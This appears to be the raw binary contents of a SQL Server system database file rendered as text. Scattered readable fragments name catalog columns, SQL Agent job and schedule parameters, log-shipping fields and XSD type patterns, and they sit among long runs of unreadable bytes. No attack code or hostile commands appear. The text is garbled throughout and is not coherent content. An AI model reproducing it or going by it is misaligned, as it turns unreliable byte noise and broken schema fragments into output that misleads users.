44


=gidtu0.
4Eenviron.0.
88

Mhasdbaccess40.
88



Eislogin0.
88

Gisntname0.
88

Iisntgroup0.
88

Gisntuser0.
88

Iissqluser0.
88

Iisaliased0.
88

Iissqlrole0.
88

Iisapprole0.
 Dhobtid0.
88
 Phobtcolumnid0.
88
 Dstatus0.
44 Dordkey0.
00 Bxtype0.
44 Dlength0.
00 @prec0.
00 Bscale0.
88
	 Ncollationidr0.
44
 Loffsetleaf0.
44! Joffsetint.0.
00# Lbitposleaf0.
00
$ Jbitposint0.
44% Nnullbitleaf0.
44' Lnullbitint
Crkey120.44&&
Crkey130.44''
Crkey140.44((
Crkey150.44))
Crkey160.
44


=gid0.
4Eenviron0.
88

Mhasdbaccess0.
88



Eislogin0.
88

Gisntname0.
88

Iisntgroup0.
88

Gisntuser,0.
88

Iissqluser0.
88

Iisaliased0.
88

Iissqlrole0.
88

Iisapprole0.88

;id0.44
Aindid0.44

Acolid0.44

Akeyno0.88

Econstid0.88

Cfkeyid0.88


Crkeyid0.44
?fkey0.44
?rkey0.44
Akeyno0.44
Imemberuid0.44
Ggroupuid0.88

;id0.44
=uid0.00

Caction0.00	
Mprotecttype???0.
Ecolumns0.44

Egrantor0._44
Cfileid0._44
Egroupid0._88

?size0._88


Emaxsize0._88

Cgrowth0._88

Cstatus0.
 Dhobtid0l(X
D$XTR	m
P`-$)=L$20-	'-Wsource_length_min0-	'-Wsource_length_max0-	'-]source_precision_min0-	'-]source_precision_max0-	'-	88
Usource_scale_min0-	'-
88
Usource_scale_max0-	'-hhSsource_nullable0-	'-88
[source_createparams0-	'-
Udestination_dbms0-	'-[destination_version0-	'-Udestination_type0-	'-Ydestination_length0-	'-_destination_precision0-	'-88
Wdestination_scale0-	'-hh]destination_nullable0-	'-88
edestination_createparams0-	'-hhEdataloss0-	'-hhIis_default0-G-$$[@collector_type_uid0-G-4?@name0--4;urn0--4@Spowershell_path0--++
"
Sprocessing_time0--++
"
Ibatch_time0--4]server_instance_name0--4Iparent_urn0--4GCollation0--44YCompatibilityLevel0--	==ICreateDate0--
hhWEncryptionEnabled0--4=Name0--44ORecoveryModel0--
hhKTrustworthy0--00?state0-U-;;_total_utility_storage0-U-;;]total_utilized_space4G@job_name0-Q.88
E@step_id0-Q.88
S@sql_message_id0-Q.88
O@sql_severity0-Q.88
S@start_run_date0-Q.88
O@end_run_date0-Q.88
S@start_run_time0-Q.	88
O@end_run_time0-Q.
88
_@minimum_run_duration0-Q.88
K@run_status0-Q.88
U@minimum_retries0-Q.
88
O@oldest_first0-Q.4C@server0-Q.4?@mode0-Q.88
G@order_by0-Q.hhe@distributed_job_history0-/$$C@job_id0-/4G@job_name0-/88
E@step_id0-/88
S@sql_message_id0-/88
O@sql_severity0-/88
S@start_run_date0-/88
O@end_run_date0-/88
S@start_run_time0-/	88
O@end_run_time0-/
88
_@minimum_run_duration0-/88
K@run_status0-/88
U@minimum_retries0-/
88
O@oldest_first0-/4C@server0-/4?@mode0->0$$C@job_id0->04G@job_name0->04M@server_name0->0hhS@automatic_post0-b1$$C@job_id0-b14G@job_name0-b14M@server_name0-G-$$[@collector_type_uid0-G-4?@name0-;.88
[@collection_item_id0-;.4?@name0-//88
Y@collection_set_id0-//$$[@collector_type_uid0-//4?@name0-//88
I@frequency0-//K@parameters0-//88
[@collection_item_id0-E $088
[@collection_item_id0-E $04?@name0-E $04G@new_name0-E $088
I@frequency0-E $0K@parameters0-~D188
[@collection_item_id0-~D14?@name0-~D14G@new_name0-~D188
I@frequency0-~D1K@parameters0--4;urn0--4@Spowershell_path0--++
"
Sprocessing_time0--++
"
Ibatch_time0--4]server_instance_name0--4Iparent_urn0--4GCollation:ij
y
&
?aP	

8
	
k
.
		5	HYD;4~%u rk`-_)>S6y0-AD88
Gserver_id0-AD00Ulast_run_outcome0-AD@4@]last_outcome_message0-AD88
Olast_run_date0-AD88
Olast_run_time0-AD88
Wlast_run_duration0-eE$$Ajob_id0-eE4Yoriginating_server0-eE4=name0-eE00Cenabled0-eE4Kdescription0-eE88
Ostart_step_id0-eE88
Kcategory_id0-eEUUGowner_sid0-eE	88
_notify_level_eventlog0-eE
88
Ynotify_level_email0-eE88
]notify_level_netsend0-eE88
Wnotify_level_page0-eE
88
enotify_email_operator_id0-eE88
inotify_netsend_operator_id0-eE88
cnotify_page_operator_id0-eE88
Mdelete_level0-eE==Mdate_created0-eE==Odate_modified0-eE88
Qversion_number0-eE88
_originating_server_id0-eE88
Omaster_server0-F==Uagent_start_date0-F88
KXsession_id0-[E$$C@job_id0-[E4G@job_name0-[E88
E@step_id0-[E4I@step_name0-F$$C@job_id0-F4G@job_name0-F88
E@step_id0-F4I@step_name0-F==K@older_than0-F88
M@larger_than0-G88
I@freq_type0-G88
Q@freq_interval0-G88
W@freq_subday_type0-G88
_@freq_subday_interval0-G88
c@freq_relative_interval0-G88
c@freq_recurrence_factor0-G88
Y@active_start_date0-G88
U@active_end_date0-u}F88
Alog_id0-u}F4Ievent_type0-u}F==Elog_date0-u}F4@Kdescription0-u}F88
Iprocess_id0-u}F88
Kmailitem_id0-u}F88
Iaccount_id0-u}F==Olast_mod_date0-u}F	4Olast_mod_user0-qG==Q@logged_before0-qG4K@event_type0-UGTE88
Obackup_set_id0-UGTE4=name0-UGTE88
Mfilegroup_id0-UGTE$$Qfilegroup_guid0-UGTE4=type0-UGTEx4xGtype_desc0-UGTEhhIis_default0-UGTEhhKis_readonly0-UGTE	$$Ylog_filegroup_guid0-+=E88
Y@collection_set_id0-+=E4G@operator0-+=EC@log_id0-daF88
Y@collection_set_id0-G88
Y@collection_set_id0-G44?@mode0-G4G@operator0-GC@log_id0-:WE88
Otarget_set_id0-:WE88
Oobject_set_id0-:WEp4pOtype_skeleton0-:WE4=type0-:WEhhCenabled0-s{F88
[target_set_level_id0-s{F88
Otarget_set_id0-s{Fp4pOtype_skeleton0-s{F88
Mcondition_id0-s{F4Ilevel_name0-s{F88
]jtarget_set_level_id0-G4K@proxy_name0-G4U@credential_name0-G4U@network_account0-G4G@password0-X\G4]server_instance_name0-X\G4Odatabase_name0-X\G88
DI[over_utilized_count0-X\G88
8J]under_utilized_count0-X\G88
<-KIset_number0-X\G++
"
u@!LSprocessing_timeU@active_end_time0-IhhS@automatic_post0-J$$C@job_id0-J4G@job_name0-u}F88
A

(
-8%{9Z	n	/DxAh!
Il!Rk~1eLMh%Ni|
P
	
	z1\wY`-4){?I?
sWڸ0-W88
Gfreq_type0-W88
Ofreq_interval0-W	88
Ufreq_subday_type0-W
88
]freq_subday_interval0-W88
afreq_relative_interval0-W88
afreq_recurrence_factor0-W
88
Wactive_start_date0-W88
Sactive_end_date0-W88
Wactive_start_time0-W88
Sactive_end_time0-W==Mdate_created0-W==Odate_modified0-W88
Qversion_number0-W4Yoriginating_server0-W88
Omaster_server0-X88
Kschedule_id0-X$$Ajob_id0-X88
ZOnext_run_date0-X88
[Onext_run_time0-W$$C@job_id0-W4G@job_name0-0X4G@job_name0-0X$$C@job_id0-0X88
K@error_flag0-0X4M@server_name0-0X4I@step_name0-0X88
M@output_flag-%X88
0-%X4C@string0-%X88
G@maxValue0-%X88
G@defValue0-rW4[primary_server_name0-rW4_primary_database_name0-rW$$[maintenance_plan_id0-rW88
Ubackup_threshold0-rW88
Sthreshold_alert0-rWhhcthreshold_alert_enabled0-rW4]last_backup_filename0-rW	==Mlast_updated0-rW
88
gplanned_outage_start_time0-rW88
cplanned_outage_end_time0-rW88
kplanned_outage_weekday_mask0-rW
4Usource_directory0-rW88
KXprimary_id0-2X4K@trace_path0-2X88
M@use_default0-+X88
spolicy_category_subscription_id0-+X4Ktarget_type0-+X4Otarget_object0-+X88
Ypolicy_category_id0-!X88
Ctime_id0-!X88
olatest_consistent_snapshot_id_server_name0-rW4_primary_database_name0-rW$$[maintenance_plan_id0-rW88
Ubackup_threshold0-rW88
Sthreshold_alert0-rWhhcthreshold_alert_enabled0-rW4]last_backup_filename0-rW	==Mlast_updated0-rW
88
gplanned_outage_start_time0-rW88
cplanned_outage_end_time0-rW88
kplanned_outage_weekday_mask0-rW
4Usource_directory0-rW88
KXprimary_id0-@[Y88
Iprimary_id0-@[Y4_secondary_server_name0-@[Y4csecondary_database_name0-@[Y4]last_copied_filename0-@[Y4]last_loaded_filename0-@[Y==elast_copied_last_updated0-@[Y==elast_loaded_last_updated0-@[Y$$Wsecondary_plan_id0-@[Y	hhMcopy_enabled0-@[Y
hhMload_enabled0-@[Y88
_out_of_sync_threshold0-@[Y88
Sthreshold_alert0-@[Y
hhcthreshold_alert_enabled0-@[Y88
gplanned_outage_start_time0-@[Y88
cplanned_outage_end_time0-@[Y88
kplanned_outage_weekday_mask0-@[YhhtC[Wallow_role_change0-2X4K@trace_path0-2X88
M@use_default0-5&Y@M@plan_handle0-5&Y88
c@statement_start_offset0-5&Y88
_@statement_end_offset0-ZZ@K@sql_handle0-J~[4Qparameter_name0-J~[@Sparameter_value0-+X88
spolicy_category_subscription_id0-+X4Ktarget_type0-+X4Otarget_object?8
	D

]
P	I		
zRgnM0xr)Nkz	3	m.S}
U
>~+
{

	Zkj	K`C6.(@p	@^k'6<0
6<8
6<8	
6<8


6<db
6<W@
6@0
6@8
6@4
6@8	
6@

6@8
6@=
6@=
6>
6>8	
6>8

6>8
6>8
6>8
6>8 
6>$
6>		>,	
6>

84

6>88
6><
6>

D

6>L
6>T
6>\
6?
6?8	
6?8

6?8
6?8
6?
6?8$
6?(
6?		0	
6?

8

"D		"D

"D"D"D

"D"D"D"D"D"D"D@"E"E"E"E"E"E"E"G"G"G"G"H"H"H"H"H"I"I"I"I"I"I"I"I"I		"I

"I"I"I

"I"I"I"I"I"I"I8"I"I"I8"I"I"I"J"J"J"J"J"J"Ki"Ki"Ki"Ki"Ki"Ki"L"L"L"L"L"L"L"L"L		"L


"L
"L"L

"L"L"L
"L
"L
"L
"L
"L
"L
"L"L"L
"L
"L
"L"L
"L"L"N"N"N"N"N"Z]"Z]"Z]"Z]@"[]"[]"[]"[]"[]"[]"[]"[]"[		]"[

"["[@"\c"\f"\c"\c"\e@"]"]"]"]"]"]"]@"^"^"^ "^"^@"^"_"_"_ "_"_"_"_"_"AjE gBd?a<^9[6}X3zU0wR-tO*qL'nI$kF!hCe@



b
=

_:\7


~
Y
4

			{	V	1		xS.	KuP+rM(Rj06	Nf,~D
\"t:H`6`A_A":68
68
68	
68

68
68
6
68$
6		8(	
68
64
68
68
64
60
68
68
68	
68

68
68
68
6$
64
68
68
68
6
6$
68"
68&
64
68
68
68
68
60
60
688
688
6		8	
6

4

64
6
"
6


,

6$6
68F
6
J
6
T
6
^
6
h
6
r
6
|
6

6$
6=
6

6

6

6$
6

6
6$
68
68
68
6
6=
6=
6!
68)
6		-	
6

5

60=
60>
6

8?

6C
68K
68
68
64
68
68
68
68
68
68
68
68
68
68
68
68	
68
68
60
60
6		8	
6

8"

68&
64
6

4

6
*
6
4
6$>
68N
6
R
6
\
6
f
6
p
6
z
6

6

6$
6=
6

6

6

6$
6

6   
6!!$!
6	0
6	
6	


6	8
6	b
6	@
[6}X3zU0wR-tO*^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
Vn4Ld*|BZ r8Ph\"t:.FRj&x>0H`6DDB^kW60
68
68	
68


68
6
6
6"
8
6"
4
6"
8
6"
0
6"8

6"

6"
8
6"
0
6"		
8	
6"


=

6".=$
6"8,
6)8
6)4
6)8

6)4
6)0
6)8
6)4
6)0
6)		0	
6)

8

6)8
6)4
6)

8!

6)8%
6)8)
6)*@
6,0
6,8
6,4
6,8	
6,8

6,8
6,=
6,=
6-8
6-4
6-4

6-4
6-4
6*8
6*4
6*U
6*8
6*
6*=

6*=
6*4
6*		4	
6*



6+8
6+4
6+4
6+4
6+8
6+=
6+4
6+8
6+		8	
6+

8

62"=!
62"8)
62

"8-

630
638
638	
63
630

638
634
630
63		0	
63

8

638
638
668
668
664
668
668
660
660
660
66		8	
66

8

66
67y8
67y8
67y8	
67y8
67y8
67y0
67y0
670
688
684
680
680	
684

68
684
684
68		8	
68

8

688 
68
68



684
684
684
684
688$
680(
680)
608
608
604
608
60=
60@
6/8
6/4
6/8
6/8
6/=
6-8
6-4
6-4

6-4
2


J



X

		p	6	NTl2


J

b(z@f,~D
\"t:Rj0H`D6@CAJ
6:0
6:8
6:8	
6:
6:8

6:
6:8
6:=
6:		=	
6;0
6;8
6;8	
6;8


6;8
6;
6;
	)1 4)1bP)2 8
)2 8
)2 4)2 0)2 4
)2 0)2 0)2 8
)2	 8
	)2
 =
)2 =!)2 8
))2
 8
-
)3 0)3 8
)3 8
	)3)3 0
)3 8
)3 4)3 0)3	 0	)3
 8

)3 8
)3 8
)6 8
)6 8
)64)6 8
)6 8
)6 0)6 0)6 0)6	 8
	)6
 8

)6 )7 8
)7 8
)7 8
	)7 8
)7 8
)7 0)7 0): 0): 8
): 8
	): ): 8

): ): 8
): =):	 =	)< 0)< 8
)< 8
	)< 8


)<bP)<)@ 0)@ 8
)@ 4)@ 8
	)@ 
)@ 8
)@ =)@ =)A 0)A 8
)A 8
	)A 8


)A )C 8
)C 4)C 8
)C)C 8
)D $)D h)D)D)D)D)D)D )D		)D
 8

)D 8
!)D =%)D
=-
)D 8
5)D $9)D 4I)D 4K)D 0M)D 8
N)D)E 8
)E 4)E)E)E)E)E=)G $)G 8
)G 8
)G 8
)H $)H $)H 0$)H %)H -)I $)I 0)I $)I %)I 8
-)I 8
1)I 5)I =7)I	 8
?	)I
 8
C
)I $G)I W)I
 _
)I g)I o)I 8
w)I ={)I =)I 8
)I 8)I $)I 8
)I 8)I $)I )I)A 8
S&rEd7
V)uHg:
Y,xKj=\/{N!m@_2~Q$pC


b
5

T'sF


e
8

			W	*	vIh;Z-yLk>]0Rj0H`B6C_\	D^k6.8
6.4
6.t
6.
6. 
6.	
6.
6.@
6.		8
	
6.

=

6/8
6/4
6/8
6/8
6/=
608
608
604
608
60=
60@
610
618
618	
614
61b
62"8
62"8
62"4
62"0
62"4

62"0
62"0
62"8
62		"8	
62

"=

62"=!
62"8)
62

"8-

630
638
638	
63
630

638
634
630
63		0	
63

8

638
638
668
668
664
668
668
660
660
660
66		8	
66

8

66
678
678
678	
678
678
670
670
670
688
684
680
680	
684

68
684
684
68		8	
68

8

688 
68
68



684
684
684
684
688$
680(
680)
698
69
69
694
698
r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`V6F8EK?z-#68
64
68
60
64
6U
6=

64
68
68
6P4
68
64
64
6<4
6<4
6<4
6		8	
6P4
68
68
68
68
6U
68
6 4
6 4
6"8
6"4
6"0
6"0	
6"$

6"4
6"4
6"=
6"		="	
6"

0*

6"4
6#4
6#8
6$$
6$8
6&8
6&$
6&8
6&4
6&8
6&8 
6&@4
6&8$
6&		8(	
6&

8,

6&80
6&84
6&

88

6&8<
6&8@
6&4
6'$
6'8
6(8
6(4
6(h
6)4
6)8
6+$
6+8
6+4
6+0
6+4
6+8
6+8
6+U
6+		8!	
6+

8%

6+8)
6+8-
6+

81

6+85
6+89
6+8=
6+=A
6+=I
6+8Q
6,4
6,$
6-8
6-$
6.U
6.$
608
60$
608
600
60@4
608
608
608!
618
61$
618
628
62=
63=
638	
658
65$
65=
654
65= 
65=(
6580
65=4
65		=<	
65

8D

65=H
66$
668
664
66P4
664@
668
664@
668
66		0 	
66

8!

660%
668&
66

4

664
664
668*
668.
6682
668
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`E6G8FU!p67$
678
674
67P4
674@
678
674@
678
67		0 	
67

8!

670%
678&
67

4

674
674
678*
678.
6782
674
6786
678:
678>
678B
678F
678J
67$N
68$
684
688
69$
69$
698!
6:8
6:4@
6:=
6:=
6:
6:$ 
6;8
6;$
6;8
6;4
6;U
6;8
6;8 
6;8$
6;		8(	
6;

8,

6;80
6;84
6;

88

6;8<
6;8@
6;8D
6;=H
6;=P
6;8X
6=$
6=8
6=8
6=8
6>8
6>$
6@4
6@8
6@8
6@0
6B8
6B4
6B4
6B8
6B=
6B=
6B8
6B= 
6B		4	
6B

8(

6C4
6C8
6E4
6E8
6G8
6G8
6H8
6H8
6I8
6I4
6I4
6I8
6I8
6I8
6I8
6I0
6I		8	
6I

8

6I8!
6I8%
6I

8)

6I4
6I0-
6I4
6I4
6I8.
6I82
6I86
6I$:
6I8J
6I8N
6I4
6I8R
6J4
6J8
6J4
6J8
6J8
6J8
6J8
6J0
6J		8	
6J

8

6J8!
6J8%
6J

8)

6J4
6J0-
6J4
6J4
6J8.
6J82
6J86
6J$:
6J8J
6J8N
6J4
6I86
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`F68G'&86J8R
6K8
6K4
6M4
6M8
6M0
6M4
6M8	
6M8

6M4
6M8
6M		8	
6M

8

6M8
6M8!
6M

8%

6M8)
6M8-
6M01
6M4
6M82
6M86
6M8:
6N8
6N4
6P8
6P8
6P0
6R8
6R$
6R8
6S4
6Sh
6Sh
6S=
6T8
6T4
6T4
6T=
6T4
6U4
6U8
6V8
6VU
6Vh
6V=	
6V4
6W8
6W4
6W4
6W4
6W4
6W4
6W=
6W4
6X4
6X8
6Y8
6Y8
6Y8
6Y=
6Y4
6Z4
6Zh
6Zh
6Z=
6Z4
6[8
6[4
6[4
6[8
6[4
6[8
6[h
6[h
6[		8	
6[

8

6[=
6[4
6\4
6\4
6\4
6\=
6\4
6]8
6]8
6]4@
6]4@
6]4@
6]4
6]4@
6]4@
6]		4@	
6]

4

6]4
6]4
6]

4@

6]4
6]4@
6]4
6]h
6]h
6]8

6]4
6]h
6]h
6]=
6]4
6]8
6]0
6]=
6]='
6]4
6^8
6^8
6^4
6^8
6^@
6^=
6^4
6_$
6_8
6_8
6_=
6`8
6`8
6`=
6`4@
6`8
6`8
6`8
6`= 
6`		4	
6a$
6]0
H`&x>Vn4Ld*|BZ r8Ph.F^$v<Tl2


J

b(z@

X

		p	6	Nf,~D
\"t:Rj0H`
H@yeZE
jeXtZNmC	:=
xSCSZv
ez=0p9{*0ToxGj5vjYsM"Ma~v	t9$¢uh I!UL"5 #
$g
%tw&s='ez^(5a)Z*uA/+,z-rO.aQJ/wX0Q12n	3&U4If,=5Sb6c70z80z9{,:,;t|<r|=o>oz؝?s@KJA_BMCbtDz}E:;FGpYHCS^I5In5JK80L7M6N-Ogw
Pq>QyXRC}YSq+T0U@Vv~WV_XzYbvx<Z[0\gI])^#_@c4`r>gaFb`c)d Ce:f00geŹhiU=TjQtsk:l|ym:;ln:rٸo!hpCqs2
rKEs_8t\lusvpw^w4xv
ytqz=b{0||]}~U~Mn:;l#xk^QD7*tgZM@3&}pcVI</"yl_RE8+uh[NA4'
~qdWJ=0#	zm`
Z,I@<^"8`pPJKu0WS'preserve0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0WS'collapse0 WS'collapse0!WS'collapse0dWS%replace0eWS'collapse0fPTY[a-zA-Z]{1,8}(-[a-zA-Z0-9]{1,8})*[a-zA-Z]{1,8})(-[a-zA-Z]{1,8})*0gPT!\i\c*0hPT9[\i-[:]][\c-[:]]*0lPT\c+0mDF00nIX00oIX-10pIN?-92233720368547758080pIX=92233720368547758070qIN--21474836480qIX+21474836470rIN#-327680rIX!327670sIN-1280sIX1270tIN00uIX?184467440737095516150vIX+42949672950wIX!655350xIX2550yIN10LN10LN10LN10EU%default0EU'preserve0,EU#BigInt0,EU#Binary0,EUBit0,EUChar0,EU'DateTime0,EU%Decimal0,EU!Float0,EU!Image0,	EUInt0,
EU!Money0,EU!NChar0,EU!NText0,
EU'NVarChar0,EUReal0,EU1SmallDateTime0,EU'SmallInt0,EU+SmallMoney0,EU%Variantiant0,EUText0,EU)Timestamp0,EU%TinyInt0,EUUdt0,EU7UniqueIdentifier0,EU-UtcDateTime0,EU)VarBinary0,EU%VarChar0,EUXml0-EU%Default0-EUNone0-EU+IgnoreCase0-EU3IgnoreNonSpace0-EU3IgnoreKanaType0-EU-IgnoreWidth0-EU+BinarySort0-EU-BinarySort208LX80DPTg((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]{2}[037])?0DIXE9999-12-31T23:59:59.9970DINE1753-01-01T00:00:00.0000EPTG((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9])(:00)0EIX=2079-06-06T23:59:000EIN=1900-01-01T00:00:000FDT190FDF40FIX?922337203685477.58070FINA-922337203685477.58080GDT100GDF40GIX-214748.36470GIN/-214748.36480HPTU([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})|(\{[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\})0,EU)VarBinary0,EU%VarChar0,EUXml0JPT((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))0JIX+9999-12-310JIN+0001-01-010KPTy(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?0KIN'00:00:000LPTY((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?0LIN=0001-01-01T00:00:000MPT((000[1-9])|(00[1-9][0-9])|(0[1-9][0-9]{2})|([1-9][0-9]{3}))-((0[1-9])|(1[012]))-((0[1-9])|([12][0-9])|(3[01]))T(([01][0-9])|(2[0-3]))(:[0-5][0-9]){2}(\.[0-9]+)?(([+-]((((0[0-9])|(1[0-3]))(:[0-5][0-9]))|14:00))|Z)0MIN?0001-01-01T00:00:00Z0,EUDate0,EUTime0,EU)DateTime20,EU3DateTimeOffset0NPTO/((-?[0-9]+)(\.-?[0-9]+)*/)*0,EU-HierarchyId Hcrtsnext0.100 Bclassa0.188
 <id0.188
	 Bsubid0.14 @name0.1bbP Bvalue.
 Rredotargetlsn00.L$$ Hforkguid0.L
 Fforklsn0.L Dforkvc0.L$$ Zredostartforkguid0.<00 Hvalclass0.<88
 Bobjid0.<88
	 Hsubobjid0.<88

 Dvalnum0.<bbP Bvalue0.< Himageval0."88
 <id0.":}i(x;j
e2#xY:wN


V
7


			h	A	 	Z3eL3Y@#h+I(jE[4
qJ#`1#2mM
KD,01TT
?xml01TT
Ebigint01@TT
Ebinary01hhTT
?bit01@4TT
Achar01==TT
Idatetime01jj&&TT
Gdecimal01>>5TT
Cfloat01""TT
Cimage0188
TT
?int01<<TT
Cmoney01@4TT
Cnchar01cc4TT
Cntext01ll&&TT
Gnumeric01@4TT
Invarchar01;;TT
Areal01::TT
Ssmalldatetime0144TT
Ismallint01zz
TT
Msmallmoney01bbPTT
Osql_variant014TT
Gsysname01##4TT
Atext01TT
Ktimestamp0100TT
Gtinyint01$$TT
Yuniqueidentifier01@TT
Kvarbinary01@4TT
Gvarchar01((
MM
Adate01))MM
Atime01**MM
Kdatetime201++
"MM
Udatetimeoffset01|MM
Ohierarchyid01MM
Igeometry019M9M
Kgeography01\\
ssyspolicy_target_filters_type	`AXhC	F	4)9WW|
Z2Lc^K8`B	#2qIMD,r&xml&bigint&binary&hbit&char&=datetime&jdecimal&>float&"image&8int&<money&nchar&cntext&lnumeric&nvarchar&;real&:'smalldatetime&4smallint&z!smallmoney&b#sql_variant&sysname&#text&timestamp&0tinyint&$-uniqueidentifier&varbinary&varchar&(date&)time&*datetime2&+)datetimeoffset&#hierarchyid&geometry&geography&Gsyspolicy_target_filters_type`F{`=t]F3z[1s
Z2N$a
^M8`	#2qIOD,]F&xml&bigint&binary&hbit&char&=datetime&jdecimal&>float&"image&8int&<money&nchar&cntext&lnumeric&nvarchar&;real&:'smalldatetime&4smallint&z!smallmoney&b#sql_variant&sysname&#text&timestamp&0tinyint&$-uniqueidentifier&varbinary&varchar&(date&)time&*datetime2&+)datetimeoffset&#hierarchyid&geometry&geography&Gsyspolicy_target_filters_type`F{`=t]F3z[1s
Z2P8A.r^O8!!!!`
ZQ@.[^H8!!!!`!
AR@}:!TNN!TZR!TPR!TPR!TPR!TPR!	TPR!
TPR!TPR!TPR!
TPR!TPR!TPR!TPR!TPR!TPR!TPR!TPR!TPR! TPR!!TPR!dTSR!eTSR!fTSR!gTSR!hTSR!iTSR!jTSR!kTSR!l TSR!m!TSR!n"TSR!o#TSR!p$TSR!q%TSR!r&TSR!s'TSR!t(TSR!u)TSR!v*TSR!w+TSR!x,TSR!y-TSR!.TLR!/TLR!0TLR!3TSR!,4TSR!-5TSR!.6TLN!/7TSR!08TSR!19TSR!2:TSR!3;TSR!4<TSR!5=TSR!6>TSR!7?TSR!8@TSR!9ATSR!:	TSR!;BTSR!<CTSR!=%TSR!>DTSR!?ETSR!@FTSR!ATSR!BGTSR!DHTSR!EITSR!FJTSR!GKTSR!HLTSR!IMTKR!hNTSR!OAAN!PAAN!QAAN!iRAAN!jSAAN!kTAAN!lUAAN!mVAAN!nWAAN!oXAAN!pYAAN!qZAAN!r[AAN!s\AAN!|M|MNS!}N}WNP!J
TSR!KTSR!L]TSR!M^TSR!NaTSR!tbAAN!ucAAN!eEEN!TKR!MMNS!fEEN!TKR!gAAN!hAAN!iAAN!jAAN0!jAAN3false!	kEEN!
T
KR!MMNS!lEEN!
T
KR!MMNS!mEEN!nEEN!oEEN!TKR!MMNS!pEEN!qAAN!rAAN!sEEN!TKR!MMNS!tEEN!TKR!MMNS!uEEN!TKR!MMNS! vEEN!!T!KR!"wA!AN!#xA!AN!$yA!AN!%wAAN!&xAAN!'zEEN!(T(KR!)M)MNS!*{E)EN!+T+KR!,|A+AN!-}A+AN!.~A+AN!/A+AN!0A+AN!1AANationid&)status&)maxinrow&)
xmlns&)dflt&)chk&)idtval&3class&3idmajor&3subid&3name&3xtype&3utype&3length&3prec&3	scale&3
#collationid&3status&3intprop&6id&6indid&6name&6status&6intprop&6fillfact&6type&6tinyprop&6	dataspace&6
lobds&6rowset&7idmajor&7idminor&7subid&7status&7intprop&7tinyprop1&7tinyprop2&Aclass&Aobjid&Aindexid&Arowsetnum&Arowsetid&id&name&type&sid&password&dfltsch&status&created&	modified&id&indid&status&crtype&crstart&crend&crrows&crerrors&	crschver&
crtsnext&1class&1id&1subid&1name&1value!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}(M2xh/T
tIhM0yb>c>`;]8Z5|W2
yT!hC

b
=

_:\e@

7


~
Y
4

			{	V	1		xS.	uP+rM(oJ%lG"iDfAc>`
ZS@6I^J8
`
ZT@ʎ^$8`36mlPU$H6`4
6`0
6`8	
6`
6`8

6`=
6`=
6a0
6a8
6a8	
6a
6a8

6a8
64
68
6"0
6"8
6"4
6"8
6)8
6)4
6)4
6)8
6,4
6,8
6,0
6,8
6.4
6.8
628
624
628
63
638
630
638
664
668
668
6:0
6:8
6:
6:8
6@4
6@0
6@8
6C4
6C8
6E
6E
6E8
6J8
6J0
6J8
6J8


6J8
6K8
6K0
6K8
6K8


6K8
6N$
6N0
6N8
6N8
6Z8
6
60		
6


6b%0
6b%8
6b%0	
6b%4
6b%4
6b%4
6b%4
6b%8

6b		%8	
6`		4@	
6`

4@

68
68
64
60	
68

678
678
678		
678


6V8
6V
6V8
64
68
684
688
6*4
6*8
6+4
6+8
68
68
68		
68

6Y8
6Y
6Y
6Y8
6`8
6"8
6"0
6"8
6. 
6.8
60
6$
6$
6%"
60-
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
6
60		d*l2


J

b(z@

X

		p	6	PNf,~D
Z \"t:r8R|Bh.T^$v<j0FH`m6E8V9o68
68
68	
68
6$
6$$
6
64
6		<	
68
6$
6$
68%%
68))
68--
6
6	
6
6
6=$
68,
6	
6	8	
6	

6
0
6
$
6
0
6
$
6
&#
6
.
6
$6
6
8F
6
		8J	
6


8N

6
R
6
8T
6


8X

6
\
6
@
60
60
6
6$
6$
68++
60
6$
60
6$
6&#
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
6
0
6
0
6

6
$
6
$
6
8++
60
6$
60
6$
6&#
6.
6$6
68F
6		8J	
6

8N

6R
68T
6

8X

6\
6@
60
60
6
6$
6$
68++
6
=d
6=d
6=d
6

D

6
68	
68

68
6$
68
64
68
68
68
68
68
64
64
68
68
64
68
6v8
6v8
6v8
6v8
6v
6v
6v$
6v,
6		v4	
6

v<

6vhD
